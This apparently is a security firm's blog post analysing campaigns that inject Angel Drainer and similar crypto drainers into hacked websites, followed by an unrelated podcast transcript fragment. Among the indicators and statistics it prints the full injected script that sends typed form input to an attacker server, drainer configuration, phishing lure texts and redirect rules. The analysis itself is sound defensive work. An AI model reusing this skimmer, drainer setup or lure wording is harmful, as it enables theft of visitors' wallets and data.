Since January 2024, there has been a notable surge in attacks by a novel form of website malware targeting Web3 and cryptocurrency assets. This malware, spread across multiple campaigns, uses crypto drainers to steal and redistribute assets from compromised wallets. The strategy involves either injecting drainers directly into compromised websites or redirecting site visitors to Web3 phishing sites that contain drainers.
This recent surge in malicious activity is marked by the use of crypto drainers like Angel Drainer, which has been implicated in recent security breaches including the December incident with Ledger Connect Kit. These attacks leverage phishing tactics and malicious injections to exploit the Web3 ecosystem’s reliance on direct wallet interactions, presenting a significant risk to both website owners and the safety of user assets.
Our analysis shows that in 2023 bad actors created well over 20,000 unique Web3 phishing sites with various types of crypto drainers. In the first two months of 2024, we tracked at least three unrelated malware campaigns that began using crypto drainers in website hacks. More notably, our SiteCheck remote website scanner has detected the largest variant (which uses Angel Drainer) on over 550 sites since the beginning of February alone. PublicWWW shows this injection on 432 sites at the time of writing. Angel Drainer has been found on 5,751 different unique domains over the past four weeks.
In this post, we’ll describe how bad actors have started using crypto drainers to monetize traffic to compromised sites. Our analysis starts with a brief overview of the threat landscape and investigation of Wave 2 (the most massive infection campaign) before covering Angel Drainer scan statistics, predecessors, and most recent variants of website hacks that involve crypto drainers.
Contents:
- Cryptocurrency, Web3 and Dapps adoption
- The growth of crypto-related malware
- Wave 2: Malicious injection in “hefo” option
- Statistics for Angel Drainer phishing sites
- Wave 1: Billionaire[.]app attack predecessor
- Wave 3: dynamiclinks[.]cfd drainer injections
- Fake browser updates + crypto drainers
- Additional Web3 phishing redirects from hacked sites
- Conclusion and mitigation steps
Cryptocurrency, Web3 and Dapps adoption
Long gone are the days when no one has heard about cryptocurrencies or blockchain technologies. Since the initial ideas and emergence of Bitcoin, the crypto world has gone through many stages of adoption:
- Early adoption by a few tech enthusiasts
- Speculative high risk investments
- Explosive growth in the number of alternative coins and blockchain platforms, including Ethereum with smart contracts
- Startups raising funds through Initial Coin Offerings (ICOs)
- Mainstream recognition and Institutional involvement in the 2020s when major brokerages started to offer cryptocurrency trading
- Just a month ago the U.S. securities regulator approved the first U.S.-listed exchange traded funds (ETFs) to track bitcoin
Cryptocurrency usage has exploded in recent years, with thousands of different coins and tokens readily available. Stats from explodingtopics.com estimate at least 1 billion people around the world use crypto at the time of writing.
The growth of crypto-related malware
Alongside the growth of crypto our teams have observed the evolution of crypto related malware and web hacks, including:
- Server-side cryptominers installed on hacked servers
- In-browser client-side cryptominers injected into pages of hacked websites.
- Drive-by downloads dropping various infostealers that are capable of getting access to popular crypto wallets found on user computers and stealing assets
Web3 and Dapps
Another side of the cryptocurrency revolution that hasn’t gained much mainstream attention yet (except for occasional NFT hype) but has seen an exponential growth in recent years is the so-called Web3 ecosystem.
What is Web3?
For those not already familiar the term, Wikipedia defines Web3 as follows:
Web3 (also known as Web 3.0) is an idea for a new iteration of the World Wide Web which incorporates concepts such as decentralization, blockchain technologies, and token-based economics
Other terms that people often use when talking about Web3 are Dapps (Decentralized Applications) and DeFi (Decentralized Finance).
According to DappRadar’s 2023 Industry Report, the Dapp industry had 124% year-over-year growth in 2023 with 4.2 million unique active wallets accessing decentralized applications and over $100 billion in total value locked just in the DeFi sector.
What’s important in the context of this post is the fact that most of these DApps require users to connect their crypto wallets to Web3 sites in order to use them. And the fast growing DApp user base is getting more and more used to websites requesting them to perform some actions with their wallets.
A rise in Web3 and Dapp malware threats
As always, the Web3 ecosystem with millions of users and billions of dollars involved wasn’t left unnoticed by cyber criminals. DappRadar estimates $1.9 billion lost due to all sorts of hacks and scams just in 2023 alone. And while the most losses can be attributed to all sorts of scams like “rug pull” or “flash loan attacks”, the number of attacks targeted at users of Dapps is constantly growing.
One of such newer Web3 threats includes various phishing sites that impersonate legitimate Dapps and use so-called “drainer” scripts to trick visitors into connecting their wallets under some benign pretext to the phishing site and then drain all the assets sending them to third party wallets. Multiple tracked drainers are responsible for stealing over a hundred million dollars worth of tokens. We estimate that hundreds (if not thousands) of Web3 phishing sites with crypto drainers are being created every day.
With that in mind, let’s begin our malware analysis.
Wave 2: Malicious injection in “hefo” option
We recently came across an interesting injection that we found on at least a few hundred websites. It originally consisted of three scripts but has since evolved to use four in the latest variation.

Although the infection is not limited to WordPress sites, we typically find this malware injected into the “hefo” option in WordPress database. It belongs to the popular “Head, Footer and Post Injections” plugin.
At this point we don’t have any evidence that the plugin itself was the entry point. The chances are the attackers just install this plugin to make the injection look more legitimate (we see this approach employed by some other malware campaigns). But in all cases, infected websites also had other types of malware present in the compromised environment (most commonly SocGholish).
The first script in this injection monitors web forms on a page and sends input values along with the names of the fields to hxxps://hostpdf[.]co/pinche.php. That’s definitely a phishy activity but at this point it was not clear what sort of information it is supposed to steal (payment details, credentials, or something else).
The second script has lots of comments but its purpose is not immediately clear. It adds the “connectButton” class to each link and button on the web page.
The third script is loaded from a third-party server hxxps://billlionair[.]app/cachingjs/turboturbo.js.
At the time of the injection discovery, both domains were only a few days old.
- hostpdf[.]co registered on Feb 2, 2024
- billlionair[.]app registered on Jan 30, 2024
Namecheap was used to register both domains, who also utilize the Namecheap name servers registrar-servers.com. They are hosted on 185.216.70.94 (US) and 87.121.87.178 (Bulgaria) respectively.
Our analysis revealed it was a pretty new attack so we started our investigation on the purpose of this malware.
Impersonation of BillionAir Web3 gambling platform: billlionair[.]app
The billlionair[.]app website (note 3 l’s in the word billlion) presents itself as a personal growth newsletter but at the same time uses the brand that resembles the BillionAir, the Web3 gambling platform.

OK. What sort of a script can you expect to be injected from a sketchy new site that impersonates a Web3 platform and claims to have already helped 18,800+ people? Nothing good, right? Let’s take a look.
The cachingjs/turboturbo.js script
The hxxps://billlionair[.]app/cachingjs/turboturbo.js (see on URLScan.io) script loaded on the web page is huge — 1.7MB.
Most of this code is a base64-encoded WebAssembly binary.
A.exports="data:application/wasm;base64,AGFzbQEAAAABOApgAX8Bf2ABfwBgAABgA39…Configuration code
But luckily for us, the beginning of the script is plain text configuration code that tells a lot about the purpose of the script:
let ACCESS_KEY = '6922a2c8-d1e9-43be-b201-749543d28fe1' let USE_W3M_V3 = true let logPromptingEnabled = true; let minimalDrainValue = 0.001; let mainModal = 'w3m' let chooseWalletTheme = 'dark'; let themeVariables = { '--w3m-z-index': 10000, '--w3m-overlay-backdrop-filter': 'blur(6px)', }; let w3m_name = ""; let w3m_description = ""; let w3m_url = ""; let w3m_icons = ['']; let multipliers = { 'LP_NFTS': 1, 'PERMIT2': 1, 'BLUR': 1, 'SEAPORT': 1, 'SWAP': 1, 'TOKENS': 1, 'NFT': 1, 'NATIVES': 0.1, }; let notEligible = "To avoid spam, Your wallet must have at least 100$ in Balance!"; let swal_notEligibleTitle = "Insufficient Balance"; let addressChanged = "Your wallet address has changed, connect wallet again please"; let swal_addressChangedTitle = "Address changed"; let popupElementID = "drPopup"; let popupCloseButtonID = "popupClose"; let popupCode = ``; let messageElement = "messageButton"; let textInitialConnected = "Loading..."; let textProgress = "Verifying..."; let success = "Please approve"; let failed = "Try again"; let logIpData = true; let logEmptyWallets = false; let logDrainingStrategy = true; let repeatHighest = true; let retry_changenetwork = 3; let eth_enabled = true; let bsc_enabled = true; let arb_enabled = true; let polygon_enabled = true; let avalanche_enabled = true; let optimism_enabled = true; let ftm_enabled = true; let celo_enabled = true; let cronos_enabled = true; let base_enabled = true; let autoconnect = false; let useSweetAlert = true; let popupEnabled = true; let useDefaultPopup = true; let canClosePopup = true; let buttonMessagesEnabled = false; let twoStep = false; let twoStepButtonElement = "startButton"; let connectElement = "connectButton"; let infura_key = "bf50752762404601a4e90151e2b3eeb3"; let wc_projectid = "6ccd301fd310ccbc0cd46588c41a6f1c"; let cfgversion = 680; let researchers = []; let experimental = {"disable-w3m-featured":true};
On the first line we see some ACCESS_KEY represented in the UUID (Universally Unique Identifier) format.
And throughout the configuration variables we find many other easily recognizable cryptocurrency-related keywords like: wallet, token, NFT as well many less widely known Web3-specific technical terms and platform names: BSC (Binance Smart Chain), ETH (Ethereum), FTM (Fantom), Cronos, Polygon, Optimism, Infura, etc. So maybe impersonalizing a Web3 project was not a coincidence…
We also see the let connectElement = “connectButton”; code that is related to the second injection.
Finally, we find pretty descriptive messages that reveal the purpose of the script.
let notEligible = "To avoid spam, Your wallet must have at least 100$ in Balance!"; let swal_notEligibleTitle = "Insufficient Balance"; let addressChanged = "Your wallet address has changed, connect wallet again please"; let swal_addressChangedTitle = "Address changed"; .. let minimalDrainValue = 0.001; let logDrainingStrategy = true;
Making sense of the injected scripts with the “connect wallet” popup
Apparently, this script is designed to show a series of misleading messages to make a website visitor connect their wallet to the site and sign a request (smart contract) that provides attackers full access to the funds stored in the wallet. Once signed, the funds are transferred to a third party wallet and then shared between the attacker and the Angel Drainer operators (the configuration code helped us connect the drainer to this specific bad actor).

To make this “connect wallet” popup less sudden to hacked site visitors, the second injected script adds the “connectButton” class to all buttons and links on a hacked web page to make the phishing interaction begin only once the visitor clicks on a link or a button and expects some changes on the web pages.
Frankly speaking, the “Connect Wallet” popup is not what I expect to see when I normally click anywhere on random websites and I don’t expect much success with this approach, but I’m probably not the type of visitor this campaign is targeted at.
Anyways – in this context, the first script is most likely designed to intercept all form data that users may enter while connecting their wallets and authorizing transactions.
Suspicious requests initialized by the drainer
In order to connect the visitors wallet and make transactions, the drainer contacts the following legitimate Web3 APIs and services.
- rpc.ankr.com/eth
- ethereum.publicnode.com
- eth.meowrpc.com
- api.web3modal.com/getWallets
- relay.walletconnect.com
- verify.walletconnect.com
- wss://www.walletlink.org/rpc
However, inspecting the scripts loading on the page reveals a couple other interesting script sources.

From this list of the requests, the following two stand out:
- hxxps://lorem[.]ipsum/npm/fallback.js
- hxxps://rpc.nftfastapi[.]com/config?key=6922a2c8-d1e9-43be-b201-749543d28fe1
First suspicious request: Lorem[.]ipsum
Lorem[.]ipsum is not a real site. At the moment of writing, the list of top level domains maintained by the Internet Assigned Numbers Authority (IANA) comprises 1451 TLDs. Ipsum is no one of them. It seems to be just a placeholder domain that for some reason is not replaced with a real domain name.
Other fallback script URLs used by the Angel Drainer include:
- hxxps://cdn-npmjs[.]com/npm/fallback.js
- hxxps://cdnjs-storage[.]com/npm/fallback.js
While the domain name is not real, it helps us track websites with the Angel Drainer that started using it on January 26, 2024. URLScan.io has recorded over 10,000 scans of Web3 phishing sites with lorem[.]ipsum script in less than three weeks.
Statistics for Angel Drainer phishing sites with lorem[.]ipsum requests
We conducted a quick analysis of websites with lorem[.]ipsum requests scanned by URLScan.io during the period of January 26th, 2024 – February 21st, 2024 (27 days/4 weeks). Here’s what we found.
Domain names
5,751 unique domain names (213 unique domains per day on average) with 1,957 unique titles on scanned pages.
Unique second level domains
4,173 unique apex (second level) domains, with the following top 3 SLDs:
- 530 phishing pages.dev subdomains (e.g. secured-key.pages[.]dev) – Cloudflare Pages.
- 183 phishing vercel.app subdomains (e.g. coinbase-walletconnectv4.vercel[.]app) – Vercel
- 139 phishing web.app subdomains (e.g. paperhold-net.web[.]app) – Firebase Hosting
Unique TLDs
193 unique TLDs with the following distribution:
| # Unique Domains | TLD | Example |
| 1,639 | .com | reward-memecoin[.]com |
| 756 | .xyz | migrate-memedefiv2[.]xyz |
| 564 | .dev | admit-satoshivm.pages[.]dev |
| 535 | .app | analyse-trades.web[.]app |
| 200 | .net | v3singularity[.]net |
| 200 | .io | collection-satoshivm[.]io |
| 181 | .top | www.claim-zetachain[.]top |
| 170 | .org | notcoins-event[.]org |
| 148 | .network | giveaway-manta[.]network |
| 113 | .online | webprotocols[.]online |
IPs & ASN’s
We found 4,289 unique IP addresses on ASN’s with 188 unique names. The most popular ASNs for hosting Web3 phishing pages include:
- CLOUDFLARENET, US — 53.6% of unique domains (3,085)
- AS-HOSTINGER, CY — 14.0% of unique domains (804)
- AMAZON-02, US — 7.6% of unique domains (438)
- NAMECHEAP-NET, US — 2.9% of unique domains (164)
- FASTLY, US — 2.8% of unique phishing site domains (160)
Common phishing page titles
Here are the top 50 most common titles for the Web3 phishing pages (out of 1,957 unique titles):
| Phishing Page Title | # Domains |
| AltLayer | Accelerate scaling for Web3 | 106 |
| SatoshiVM | 75 |
| Drop | OpenSea | 74 |
| Dymension: Home of the RollApps | 68 |
| Pandora | 67 |
| Seiyans | Mint Fun Collect | 60 |
| Decentralized Dapps – We are unifying Web3 by providing best-in-class, self-custodial, and multichain support | 57 |
| Paperhands | 57 |
| Kava | Leading The World To Web3 | 57 |
| Blast Big Bang | 53 |
| Manta Airdrop | 45 |
| Pandoshi – DeFi Ecosystem for the Community | 42 |
| Airdrops | Nibiru Chain | 42 |
| CyberLama | 41 |
| Mavia Pioneer AirDrop Program | 37 |
| ZetaHub | 37 |
| \n Decentralized Dapps – We are unifying Web3 by providing best-in-class,\n self-custodial, and multichain support\n | 35 |
| PorkCoin | 33 |
| Vulcan | The Safest Wallet Authentication Tool | 33 |
| Pixels – A New Type of Game | 30 |
| Manta Network | The Modular Blockchain for ZK Applications | 30 |
| Buy Sponge V2 | 100x Community Meme Token | 27 |
| Layer 2 | ethereum.org | 27 |
| \n Smart fix for easy wallet procedures\n | 25 |
| Collab.Land ConnectWalletConnectSVG/bw_light_large_mewconnect | 25 |
| Starknet | 25 |
| Jupiter Station | 25 |
| Pepe 2.0 | 24 |
| Earnifi | Find Crypto Airdrops | 24 |
| \n Manta Airdrop\n | 24 |
| StoneAi | 24 |
| MEME POPEYE ⚓ Invest in Spinach, Harvest Money! 👨🌾💲 | 24 |
| SyncSwap | 23 |
| Collab.Land Connect | 22 |
| Blast | 22 |
| Starknet Provisions: Allocating STRK Tokens to the CommunityStarknet Provisions | 21 |
| ZeroLend – Lending Protocol on zkSync | 20 |
| Home | celestia.org | 19 |
| Zypher Games | 19 |
| \n $JUP | Jupiter\n | 19 |
| ApeCoin Airdrop | 18 |
| BitDogs | 18 |
| Ethereum Layer 2 Rollup platform – Metis | 17 |
| Launchpad XYZ – The Home of Web3. Presale Now Live. | 17 |
| WEN | 17 |
| $JUP\n | Jupiter | 17 |
| Blockchain Oracles for Hybrid Smart Contracts | Chainlink | 16 |
| Home – EigenLayer | 16 |
| Decentralized Dapps – We are help to help you resolve your crypto related issues | 16 |
| Ethereum | 15 |
Second suspicious request: rpc.nftfastapi[.]com
Now let’s get back to the second suspicious request generated by the Angel Drainer on compromised websites: hxxps://rpc.nftfastapi[.]com/config?key=6922a2c8-d1e9-43be-b201-749543d28fe1
At first glance, nftfastapi[.]com looks like one of the Web3 API services. But there are many questionable details about it:
- The domain is very new and was registered on January 19, 2024.
- The key parameter in the request is exactly the same as the ACCESS_KEY found in the billlionair[.]app drainer script. And it’s the only request where this ACCESS_KEY is used.
- URLScan shows that this domain is used by thousands of sites, including 75 unique domains added this script immediately on the day of its registration on January 19, 2024. This level of adoption for a new domain is very suspicious.
Unsurprisingly, all the sites that use rpc.nftfastapi[.]com were found to be phishing sites for the Angel Drainer. The phishing site domains themselves were also new. For example:
- app-melis[.]io — 2024-01-17
- usdistribution[.]org — 2024-01-18
- applebtc[.]co — 2024-01-19
- Etc.
Analyzing the ACCESS_KEY & links to Rilide Stealer
It became quickly apparent that the ACCESS_KEY in the Angel Drainer script is the identifier of the client/campaign that is used by the Angel Drainer to share the stolen tokens.
Searches for random ACCESS_KEYs reveal the domains of the Angel Drainer API site that were used before the rpc.nftfastapi[.]com variant:
- rpc.4378uehdkf.com — created on Jan 15, 2024.
- rpc.65a044a0023ca.com — created on Jan 11, 2024
- rpc.coingecko-priceapi.com — created on Jan 11, 2024
- rpc.87634rh4r4r3rfekj.com — created on Jan 7, 2024
- rpc.web3modal-api.com — created on Jan 2, 2024
- rpc.cloudweb3-api[.]com — created on Dec 14, 2023.
- rpc.chain-connect-api[.]com — created on Dec 4, 2023
- rpc.infura-api[.]com — created on Oct 11, 2023
- rpc.getblocks[.]org — created on Oct 2, 2023
- eth.flashbots-builder[.]com — created on Sep 3, 2023
- eth.rpc-ankr[.]net — created on Jul 18, 2023
- rpc.io-walletconnect.com — created on Jun 4, 2023
- cloudflare-eth[.]org — created on May 27, 2023
- highaf.tobaccosoldiers[.]com — created on May 12, 2023
Most of these sites are hidden behind the CloudFlare proxy.
Interestingly enough, for some of these domains whois reported the registrant: Mihail Kolesnikov, Moscow, Russia, which allows us to connect it to Rilide Stealer via this August TrustWave SpiderLabs blog that also found a connection with Angel Drainer.
Before May 2023, Angel Drainer didn’t use the ACCESS_KEY. One of the first recorded ACCESS_KEYs was
let ACCESS_KEY = "angel-drainer-is-the-best";Angel Drainer scan history
On URLScan.io we can see over 8,000 scans related to the Angel Drainer before May 2023. Using this data, we were able to continuously track these drainers all the way back to April of 2022.
Walking down this memory lane we also found some more drainer “CDN” sites:
- nextcdnjs[.]com
- browsersjsfiles[.]com
- cloudcdnjs[.]com
- web3-cloudfront[.]com
- unpkgaa[.]com
Drainer messages and phishing tactics
To further help website owners and researchers detect this malware, we’ve curated a number of historical phishing messages used by the drainer in both generic and targeted attacks:
//Generic const signMessage = `Welcome, \n\n` + `Click to sign in and accept the Terms of Service.\n\n` + `This request will not trigger a blockchain transaction or cost any gas fees.\n\n` + `Wallet Address:\n{address}\n\n` + `Nonce:\n{nonce}`; … //NFT airdrop const claimPageInfo = { title: "CLAIM<br>WHITELIST", // <br> is a line break shortDescription: "12 Hours Left!", longDescription: "As We're Minting Soon We Are Giving Away 50 Whitelist Spots To People Who Support Us! All You Need To Do Is Sign The Transaction To Verify Your Wallet For Mint Date! <br>If You Are Already Whitelisted, After Verifying Your Wallet You Will Be Eligible For Our Free NFT Airdrop!", claimButtonText: "CLAIM NOW", … //Jungle Bay Ape Club phishing shortDescription: "SHOW YOUR LOYALTY.", longDescription: "A TOKEN IS A SIGN YOU’VE BEEN PART OF JUNGLEBAY APE SINCE THE START. IT GIVES YOU EARLY ACCESS TO MERCH, EVENTS AND MORE.", … //Mercedes-Benz NFT const claimPageInfo = { title: "Mercedes-Benz NFT Free Mint", // <br> is a line break shortDescription: "MAKE SURE YOUR METAMASK IS UPDATED, IF YOU SEE A MESSAGE 'Signing this message can have dangerous' please sign and update your Metamask after here -> https://metamask.io/download/ We are working with devs to solve this issue. Sorry for the noise!", longDescription: "Mercedes-Benz teamed up with international crypto artist collective, ART2PEOPLE, for its first non-fungible token (NFT) art project, dubbed NF-G. Outbreak starts July 7th.",
As you might have noticed, these messages encourage visitors to connect their wallets and sign some smart contract under a pretty benign pretext. It can be “accepting of some ToS” or claim of free tokens (airdrop).
To make people think that it’s safe, attackers add wording that signing the contract will not incur any costs. This pure lie is possible because some wallets have limitations on displaying smart contract details (for example hardware wallets with tiny screens) and users have to resort to blind signing without understanding all the implications of this action.
Some wallets like MetaMask may warn users saying “Signing this message can have dangerous side effects”; the drainer works around this by informing the victim that the message is caused by an outdated version of MetaMask and users should sign the contract anyway and update their wallet afterwards.
Unfortunately, any victims of this attack that believe the false promises will have their wallets drained shortly after signing.
Wave 1: billionaire[.]app attack predecessor
Let’s revisit the Angel Drainer ACCESS_KEYs for a moment.
The billlionair[.]app version of the drainer uses the “6922a2c8-d1e9-43be-b201-749543d28fe1” ACCESS_KEY. If we search for this key on URLScan.io, we find that it was also used on Web3 phishing sites
- tradinglabs[.]app
- billionalr[.]com
- calzoom[.]com
- paulmulleracademico[.]com
- giftbeyondwealth[.]com
- melstroy[.]by
billionalr[.]com and tradinglabs[.]app (87.121.87.177) are hosted on the same network (SOUZA-AS, BR) as the injected billlionair[.]app (87.121.87.178). This network is known for hosting Web3 phishing sites.
Knowing that tradinglabs[.]app and billlionair[.]app are related, we can identify the predecessor of this Angel Drainder script injections on hacked sites. By the end of January, 2024 our malware remediation team had already cleaned a few sites with the following .htaccess injection.
# Redirect Rule RewriteCond %{REQUEST_URI} !wp-control [NC] RewriteRule ^(.*)$ hxxps://tradinglabs[.]app [L,R=302]
These redirect rules redirect visitors to the phishing tradinglabs[.]app site. URLScan.io also shows us requests from third-party sites are being redirected there.

At some point hacked sites were also redirecting to minetrix[.]app (same IP).

After trying this redirect approach for a short period, the attackers decided to switch to JavaScript injections in the beginning of February. The injection includes both Angel Drainer script that is loaded from hxxps://billlionair[.]app/cachingjs/turboturbo.js and a form data stealer that sends data to hxxps://hostpdf[.]co/pinche.php.
Wave 3: dynamiclinks[.]cfd drainer injections
As we were writing this post, the injection changed yet again. On February 14, 2024, the attackers registered a new domain dynamiclinks[.]cfd (93.123.39.199) and immediately started a new wave of website infections that use dynamiclinks[.]cfd/cachingjs/turboturbo.js instead of billlionair[.]app/cachingjs/turboturbo.js.
<script id="deule">function generateRandomString(t){const e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";let n="";for(let o=0;o<t;o++){const t=Math.floor(62*Math.random());n+=e.charAt(t)}return n}const uid=generateRandomString(10);function sendPostRequest(t,e){const n=new URLSearchParams;n.append("uid",uid),n.append("i_name",t),// Add the field name as a parameter n.append("b",btoa(e)),fetch("https://hostpdf[.]co/pinche.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:n.toString()}).then((t=>t.text())).then((t=>console.log(t))).catch((t=>console.error("Error:",t)))}document.addEventListener("input",(function(t){if("INPUT"===t.target.tagName&&"button"!==t.target.type){sendPostRequest(t.target.name||t.target.id,t.target.value)}}));</script><script>var buttons = document.querySelectorAll('button');var links = document.querySelectorAll('a');buttons.forEach(function(button) {button.classList.add('connectButton');});links.forEach(function(link) {link.classList.add('connectButton');});</script><script id="deule2" src="hxxps://dynamiclinks[.]cfd/cachingjs/turboturbo.js"></script><script id="deule3">var e1 = document.getElementById("deule");if (e1) {e1.parentNode.removeChild(e1);}var e2 = document.getElementById("deule2");if (e2) {e2.parentNode.removeChild(e2);}var e3 = document.getElementById("deule3");if (e3) {e3.parentNode.removeChild(e3);}</script>
This time the turboturbo.js was not the huge 1.7MB Angel Drainer script we saw in the billlionair[.]app variant but rather a short 3Kb-long script that does the initialization and then loads the drainer settings and the actual script from external URLs:
… const settingsScript = document.createElement('script'); settingsScript.src = 'hxxps://dynamiclinks[.]cfd/cachingjs/settings.js'; const chairScript = document.createElement('script'); chairScript.src = 'hxxps://jscdnweb.pages[.]dev/chair.js'; chairScript.type = 'module'; …
jscdnweb.pages[.]dev/chair.js drainer
This time the data in the settings.js file are encrypted and can’t be easily read.
const selfHostSettings = '081427170c353f01355e230109253f1d0f00091724071d5a240309050f2a1501092b545f3735271d3700010734353f1d0f5f5904 …However, the analysis of code in hxxps://jscdnweb.pages[.]dev/chair.js reveals the decryption algorithm that involves combinations of XOR and base64.
As a result of decoding we can see this:
{"site_settings":{ "wallet_verification":false, "contract_method":"Connect", "modal_type":"wallet_connect_v3", "modal_open_event":"on_load", "modal_theme":"auto", "messaging_bot":"6688811727:AAFejPh-gLptC3slKDz2dIucYsqDAyu8k5c", "messaging_chat":"-1002004375945", "wc_font":"", "wc_accent_color":"#2ea3f2", "wc_fill_color":"", "wc_background_color":"", "wc_logo":"", "wc_background_image":"", "loop_token":true, "chain_tries_limit":1, "auto_payouts":true, "loader_type":"comet", "modal_open_logic":"single", "enter_website":false, "connect_request":true, "connect_success":true, "exit_website":false, "approve_request":true, "chain_cancel":true, "chain_request":true, "approve_cancel":true, "profit_chat":"-1002004375945", "permit_priority":true, "permit_amount":100, "modal_pallete":"aqua-theme", "modal_font":"font-open-sans", "nft_mode":true, "permit_mode":true, "minimal_wallet_price":10, "minimal_token_price":10, "minimal_native_price":10, "approve_mode":"transfer", "cache_data":true, "swappers_mode":true, "chat_language":"en", "thanks_redirect":false, "thanks_redirect_url":"", "loader_text":{ "connect":{ "description":"Connecting to Blockchain..." }, "connect-success":{ "description":"Connection established" }, "address-check":{ "description":"Getting your wallet address..." }, "aml-check":{"description":"Checking your wallet for AML..."}, "aml-check-success":{"description":"Good, your wallet is AML clear!"}, "scanning-more":{"description":"Please wait, we're scanning more details..."}, "thanks":{"description":"Thanks!"}, "sign-validation":{"description":"Confirming your signature... Please, don't leave this page!"}, "sign-waiting":{"title":"Waiting for your signature...","description":"Please, sign message in your wallet!"}, "sign-confirmed":{"description":"Success, Your sign is confirmed!"}, "error":{"title":"An error has occurred!","description":"Your wallet doesn't meet the requirements.Try to connect a middle-active wallet to try again!","button":"Re-connect"}, "low-balance-error":{"description":"For security reasons we can't allow you to connect an empty or new wallet","button":"Re-connect"}, "aml-check-error":{"title":"AML Error","description":"Your wallet is not AML clear, you can't use it!"} } }, "receiver":"6552692643", "username":"lebronj", "worker_address":"0xc5cE06FC4E2A26514afe69e25a6B36ab51F9FE42" }
We can see the messages that lull the victim into thinking that it’s just a benign verification and AML (anti money laundering) clearance process.
In this version of settings, we no longer see the ACCESS_KEY, but we get some username (lebronj), receiver (6552692643) and worker_address (0xc5cE06FC4E2A26514afe69e25a6B36ab51F9FE42).
It looks like the attackers have switched to an alternative drainer (probably related to CLIRIA/CAPTAIN_MIRA). We can see dozens of thousands Web3 phishing sites using the jscdnweb.pages[.]dev domain since Sep 20th 2023. Other URLs that seem to belong to the same type of a drainer are
- ryanclementjxq.github[.]io/chair.js.
- christiemcalley98102.github[.]io/chair.js
- clementadif.github[.]io/chair.js
- scamlife.github[.]io/nescam/chair.js

New bundle: fake browser update + crypto drainer
On February 20, 2024, @GustyDusty found a new type of Fake Browser Update malware.
When we analyzed the injection, we found that a hacked site had a script injection from another hacked site. The injected script (shared-services/j.s?j) contained the following code:

The bottom part of this script with the redirect to posiit[.]com/get_file is responsible for the fake browser update. The top part of j.js contains Web3 related scripts as well as the encrypted selfHostSettings constant and the jscdnweb.pages[.]dev/chair.js script that we had already seen in the dynamiclinks[.]cfd injections.
The decrypted selfHostSettings JSON contains very similar configuration parameters to what we have found in the dynamiclinks[.]cfd injections, however the username, receiver and the worker_address were different, which implies a different bad actor behind this attack.
"receiver":"5197277108", "username":"hardhardworkhard", "worker_address":"0x443B74A3C052463Ad6ae88eD9eE24E18a84302cE"
Additional Web3 phishing redirects from hacked sites
On yet another site we found the /newsletter/index.html file with the following content:
<meta http-equiv="refresh" content="0; url=hxxps://newsoutlets[.]net/clau" />This redirects visitors to newsoutlets[.]net/clau and then opensmarketplace[.]net. The domains were created less than a month ago on Jan 26, 2024 and Feb 14, 2024 respectively.
The latter domain belongs to a Web3 phishing site that immediately suggests connecting a wallet in order to “view details of a new offer”.

URLScan results reveal more hacked sites with similar redirects.
Conclusion and mitigation steps
From 2022 to 2023, the use of drainers was mainly reserved for phishing and other types of scams targeted directly at people interested in cryptocurrencies and NFTs. The hundreds of fake Web3 sites created every day prove that it’s a profitable niche for cybercriminals.
However, the injection of crypto currency drainers into random compromised websites signifies the next level of adoption of Web3 technologies. Now hackers consider it worthwhile to attack unsuspecting site visitors completely unrelated to cryptocurrencies and blockchain technologies and expect that they may find victims that can be tricked into connecting their wallets to such websites.
This billlionair-app campaign presents one of the first massive attempts to monetize traffic to hacked sites using Web3 technologies that work completely online and don’t require infection of visitor computers in order to steal their digital tokens. Future will show if this approach gets adopted by the wider cybecriminal community or gets discarded as were eventually discarded injections of JS cryptominers.
Protecting your site against Web3 crypto malware
This new development doesn’t change much for webmasters. If you own a website, you need to protect it from malware. You also need to monitor your site and clean up infections as soon as possible in the event of an actual compromise.
Even just a small piece of injected JavaScript code — which might go unnoticed or be considered a nuisance for some website owners — can lead to serious repercussions and potential compromise for your website. Regular website visitors are also at risk, as these infections are known to drain entire crypto wallets from unsuspecting victims.
To mitigate risk from these attacks, consider decreasing your attack surface at every possible opportunity. That includes:
- Regularly patching and updating your website software and CMS, including extensible components like plugins and themes.
- Uninstalling unused or deprecated plugins and other components.
- Using strong and unique passwords for all your accounts.
- Keeping regular website backups stored in a secure, off-site location.
- Placing your website behind a web application firewall to help block bad bots, virtually patch known vulnerabilities, and filter malicious traffic.
If you believe your website has already been affected by this malware and you need to clean up the infection, we can help! Our experienced security analysts are available 24/7/365 to remove website malware and secure your website.


![Malware comes in many different varieties. Analyst Krasimir Konov is on this month’s Sucuri Sit-Down to help keep them all straight. From malicious iframes to SEO spam, join host Justin Channell as he racks Krasimir’s brain on all the different types of malware. Also, Krasimir discusses his recent blog post about a malicious cURL downloader, and Justin breaks down the latest website security news, including patched plugins you should update. Podcast Transcript Justin Channell: Hello, and welcome to the Sucuri Sit Down. I'm your host, Justin Channell, and this is a monthly podcast about website security, where we get in-depth with the malware removal experts here at Sucuri. Later in the show, I'll have our analyst Krasimir Konov to chat about some different types of malware, but first, let's take a look at other topics we've published on our blog and Sucuri labs notes this month. First up, we have some new information about credit card skimming with hackers using a hybrid method to steal payment information from eCommerce websites. Our analyst Dennis Sinegubko wrote about this for the Sucuri blog back at the beginning of June. Now, most credit card stealing malware is a client side JavaScript that grabs data and sends it to a third party server. But, that approach has a drawback for bad actors because it's still possible to track the requests and catch them as being suspicious. Now, to get around that, bad actors have started harvesting information server side by modifying core PHP files. In this case, the infection would be undetectable from the outside, but it's still going to be pretty easy to find because you're rarely modifying any of those core files, so any of those changes that are going to come up are going to be suspicious. To get around both of these drawbacks, we're seeing bad actors combine the two. So client side snippets of JavaScript are sending stolen credit card data to server side scripts that they've installed on the same server as the site. Now, this allows bad actors to cover their tracks a little bit because the traffic that's being redirected is going to the same server, and that's less likely to be flagged as suspicious. It's a bit more complicated to pull this off, but our team has been seeing this hybrid approach in the wild, so it's something to be on the lookout for. Now, another month has passed, and we found more cross site scripting attacks targeting WordPress plugins. Most notably, we discovered one that affects users of the YITH WooCommerce Ajax Product Filter plugin. Now, this is a plugin that allows WooCommerce stores to be filtered by product type, and it's pretty popular. It's got about 100,000 users right now, so with it being vulnerable, it's very important that all of them update to the latest version, which is 3.11.1. Some of the other plugins we found cross site scripting vulnerabilities with included Elementor Page Builder, Careerfy, JobSearch, and Newspaper. If you're looking for a full list of vulnerabilities that have been patched this month, John Castro at the Sucuri Labs blog has you covered. Check out our show notes for the link. 